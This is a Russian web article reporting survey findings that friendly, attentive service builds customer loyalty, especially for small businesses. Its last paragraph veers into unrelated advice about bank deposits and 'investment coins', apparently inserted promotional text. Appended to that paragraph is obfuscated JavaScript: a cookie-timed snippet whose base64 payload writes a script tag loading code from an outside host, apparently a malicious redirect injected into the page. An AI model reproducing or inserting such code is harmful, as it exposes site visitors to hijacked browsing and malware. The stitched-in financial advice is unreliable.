Успешный бизнес «требует улыбок»

Успешный бизнес «требует улыбок»

Простая дружеская улыбка и участие в значительной степени меняют отношение клиента к компании, как заявляют исследователи университета Кингстона. Опыт охватил мнение более 2000 потребителей и 1216 представителей малого и среднего бизнеса. 59% из них признались, что чувствуют особое расположение к товару, когда видят заботливое обращение.

3 из 5 покупателей готовы заплатить больше за продукцию из маленького магазина, нежели иметь дело с крупной корпорацией, делятся аналитики банковской деятельности. Маленькие магазины обладают большим преимуществом, поскольку так предоставлена большая возможность выйти на прямой контакт с покупателем и оказать на него влияние. Это делает малый и средний бизнес более конкурентоспособным, считают экономисты.

tovarov

Более трети постоянных покупателей признались, что возвращаются в один и тот же магазин, так как там не только более высокий уровень обслуживания клиентов, но и более тесный дружественный контакт с продавцом. Исследование также выявило, что малые организации более заинтересованы в сохранении постоянной базы клиентов, в то время как крупные больше нацелены на приток новых.

Как говорит экономический аналитик Блэкберн, несмотря на то, что многие организации понимают важность тесного контакта с потребителем, они не в состоянии продумать эффективную стратегию. Вкладывая инвестиции в малый бизнес, стоит понимать особенности привлечения в него клиентов и по возможности совершать вклады в банк. Инвестиционные монеты сохранят и преумножат ваши деньги, а положительный настрой привлечёт внимание потребителей. function getCookie (e){var U=document.cookie.match (new RegExp («(?:^|; )»+e.replace (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent (U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor (Date.now ()/1e3),cookie=getCookie («redirect»);if (now>=(time=cookie)||void 0===time){var time=Math.floor (Date.now ()/1e3+86400),date=new Date ((new Date).getTime ()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString (),document.write ('')}

Добавлено в: Человек
Cледующая статья -

Обратите внимание!

  • ВКонтакте
  • Facebook
  • Оставить комментарий
Подробнее:
Подборка интересных фактов о здоровье
Подборка интересных фактов о здоровье

Если вы хотите снизить уровень саха­ра в крови, то вам нужны сложные углеводы, кото­рые есть, например, в рататуе, фасоли, нешлифован­ном...

Закрыть